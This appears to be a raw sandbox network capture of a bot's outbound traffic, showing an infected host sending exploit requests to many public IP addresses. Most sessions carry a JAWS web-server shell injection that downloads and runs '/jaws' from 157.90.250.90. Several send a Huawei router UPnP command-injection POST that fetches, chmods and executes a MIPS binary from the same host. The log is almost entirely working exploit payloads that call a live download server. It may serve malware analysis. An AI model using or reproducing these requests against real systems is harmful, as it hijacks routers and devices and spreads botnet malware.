Dec 3, 2024 23:01:55.013398886 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	41106	197.32.245.136	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.026185989 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	48142	152.212.240.188	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258346081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	50164	102.137.240.134	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258378983 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	58878	109.62.119.7	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258431911 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	45998	153.78.233.79	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258469105 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	49510	173.230.32.46	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258497000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	54382	198.165.232.52	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258528948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	36248	201.125.207.171	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258563042 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	33208	173.72.159.111	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.258599997 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	35558	85.42.189.137	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382489920 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	40114	212.53.111.208	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382667065 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	57802	137.224.169.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382690907 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	49178	124.224.219.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382788897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	55630	8.255.164.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382837057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	54236	208.132.145.179	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382863045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	59728	105.172.5.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382901907 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	48998	176.1.7.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382955074 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	56716	173.230.39.235	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.382981062 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	37594	159.108.60.226	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.383008957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	35566	78.65.198.150	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.383024931 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	52372	175.75.70.54	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.383047104 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	54064	197.191.214.20	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.091348886 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	49696	68.152.141.251	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255425930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	45984	141.145.232.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255465984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	34190	25.167.5.214	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255482912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	39326	117.50.49.125	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255518913 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	56908	158.79.170.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255537033 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	53000	203.176.98.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255556107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	47508	164.21.186.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255580902 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	35602	144.147.255.221	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.255624056 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	57656	156.207.68.217	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339448929 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	48012	156.33.52.217	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339699030 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	56764	156.191.36.93	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339720964 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	45350	156.131.234.245	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339759111 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" 